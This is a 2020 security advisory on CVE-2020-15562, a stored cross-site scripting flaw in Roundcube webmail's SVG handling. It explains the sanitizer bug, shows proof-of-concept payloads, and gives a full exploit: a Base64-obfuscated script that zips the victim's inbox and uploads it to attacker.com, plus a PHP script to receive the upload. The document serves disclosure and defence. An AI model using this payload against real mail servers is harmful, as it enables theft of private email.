# SSD Advisory - Roundcube Incoming Emails Stored XSS
July 21, 2020 [SSD Disclosure / Hadar Manor](https://ssd-
disclosure.com/author/hadarm/ "Posts by SSD Disclosure / Hadar Manor")[Uncategorized](https://ssd-disclosure.com/category/uncategorized/)
**TL;DR**
Find out how we exploited Roundcube webmail application and crafted an email
containing malicious HTML that execute arbitrary JavaScript code in the
context of the vulnerable user's inbox.
**Vulnerability Summary**
Roundcube webmail is a browser-based multilingual IMAP client with an
application-like user interface.
An input sanitization vulnerability in Roundcube can be exploited to perform a
stored cross-site scripting (XSS) attacks.
**CVE**
CVE-2020-15562
**Credit**
An independent Security Researcher, Andrea Cardaci, has reported this
vulnerability to SSD Secure Disclosure program.
**Affected Systems**
Roundcube versions:
- 1.3.8
- 1.3.9
- 1.4 (current main branch)
**Vendor Response**
The vendor acknowledges the vulnerability and fixed it, see vendor advisory
for more details: <https://roundcube.net/news/2020/07/05/security-
updates-1.4.7-1.3.14-and-1.2.11>
**Vulnerability Details**
Roundcube uses a custom version of Washtml (a HTML sanitizer) to display
untrusted HTML in email messages. One of the modifications adds the SVG
supportsvg-support, in particular, an exception has been added in
`rcube_washtml.php` for the `svg` tag to properly handle XML namespaces
(`dumpHtml` function):
if ($tagName == 'svg') {
$xpath = new DOMXPath($node->ownerDocument);
foreach ($xpath->query('namespace::*') as $ns) {
if ($ns->nodeName != 'xmlns:xml') {
$dump .= ' ' . $ns->nodeName . '="' . $ns->nodeValue . '"';
}
}
}
This snippet uses an XPath query to list and add all the non-default XML
namespaces of the root element of the HTML message to the `svg` tag as
attributes. The vulnerable part here is that `$ns->nodeName` and
`$ns->nodeValue` values are added to `$dump` without proper sanitization
(e.g., `htmlspecialchars`).[ **svg-support** ] Introduced in commit
[a1fdb205f824dee7fd42dda739f207abc85ce158](https://github.com/roundcube/roundcubemail/commit/a1fdb205f824dee7fd42dda739f207abc85ce158).
There are a number of things to consider in order to manage to successfully
inject arbitrary HTML code.
First, if the HTML message lacks the `head` tag (or alternatively a `meta`
specifying the charset, in newer releases) then Roundcube appends a default
preamble to the message; this is undesirable as the goal is to control the
root element. (Also note that the `svg` tag itself cannot be the root
element.)
Second, when at least one `svg` tag is present (and the `<html` string is not)
the message is parsed using `DOMDocument::loadXML`dom-node and that requires a
valid XML document.
Finally, by taking into account that `DOMDocument::loadXML` decodes any HTML
entity during the parsing, it is possible to use `"` to escape the hard
coded double quotes in the above snippet and `<`/`>` to escape the `svg`
element altogether.
Since the namespaces are added to the `svg` tag, a simple way to exploit this
vulnerability is to use the `onload` event:
<head xmlns="" onload="alert(document.domain)"><svg></svg></head>
The resulting HTML is:
<svg xmlns="" onload="alert(document.domain)" />
It is likewise possible to escape the `svg` tag entirely and inject a `script`
tag:
<head xmlns=""><script>alert(document.domain)</script>"><svg></svg></head>
The resulting HTML is:
<svg xmlns=""><script>alert(document.domain)</script>" />
[ **dom-node** ] In the above snippet `$node` is an instance of `DOMNode`.
**Exploit**
Possibly one of the most effective ways to demonstrate the impact of this
vulnerability is to exploit the `zipdownload` plugin (enabled by default) to
fetch the whole inboxuid as a zipped MBOX file then upload it to a web server
controlled by the attacker via a POST request:
(async () => {
const uploadEndpoint = 'http://attacker.com:8080/upload.php';
// download the whole inbox as a zip file
const response = await fetch('?_task=mail&_action=plugin.zipdownload.messages', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body: `_mbox=INBOX&_uid=*&_mode=mbox&_token=${rcmail.env.request_token}`
});
// prepare the upload form
const formData = new FormData();
const inboxZip = await response.blob();
formData.append('inbox', inboxZip, 'INBOX.mbox.zip');
// send the zip file to the attacker
return fetch(uploadEndpoint, {
method: 'POST',
mode: 'no-cors',
body: formData
});
})();
To avoid using HTML entities for `&` it is possible to encode everything with
Base64. The final payload becomes:
<head xmlns="" onload="eval(atob('KGFzeW5jKCk9Pntjb25zdCB1cGxvYWRFbmRwb2ludD0iaHR0cDovL2F0dGFja2VyLmNvbTo4MDgwL3VwbG9hZC5waHAiO2NvbnN0IHJlc3BvbnNlPWF3YWl0IGZldGNoKCI/X3Rhc2s9bWFpbCZfYWN0aW9uPXBsdWdpbi56aXBkb3dubG9hZC5tZXNzYWdlcyIse21ldGhvZDoiUE9TVCIsY3JlZGVudGlhbHM6ImluY2x1ZGUiLGhlYWRlcnM6eyJjb250ZW50LXR5cGUiOiJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQifSxib2R5OmBfbWJveD1JTkJPWCZfdWlkPSomX21vZGU9bWJveCZfdG9rZW49JHtyY21haWwuZW52LnJlcXVlc3RfdG9rZW59YH0pO2NvbnN0IGZvcm1EYXRhPW5ldyBGb3JtRGF0YTtjb25zdCBpbmJveFppcD1hd2FpdCByZXNwb25zZS5ibG9iKCk7Zm9ybURhdGEuYXBwZW5kKCJpbmJveCIsaW5ib3haaXAsIklOQk9YLm1ib3guemlwIik7cmV0dXJuIGZldGNoKHVwbG9hZEVuZHBvaW50LHttZXRob2Q6IlBPU1QiLG1vZGU6Im5vLWNvcnMiLGJvZHk6Zm9ybURhdGF9KX0pKCk7Cg=='))"><svg></svg></head>
The POST request can be easily received by the built-in PHP web server, for
example create an `upload.php` file with:
<?php<br>$file = $_FILES['inbox'];<br>move_uploaded_file($file['tmp_name'], $file['name']);
Then start the server with:
$ php -S 0.0.0.0:8080
If the XSS is successfully triggered then a `INBOX.mbox.zip` file is created
in the current directory.[ **uid** ] The `_uid` POST field can also be an
array thus allowing to exfiltrate the inbox in chunks.
**Demo**
* ![](data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==)![](https://images.seebug.org/1595925339911-w331s)
暂无评论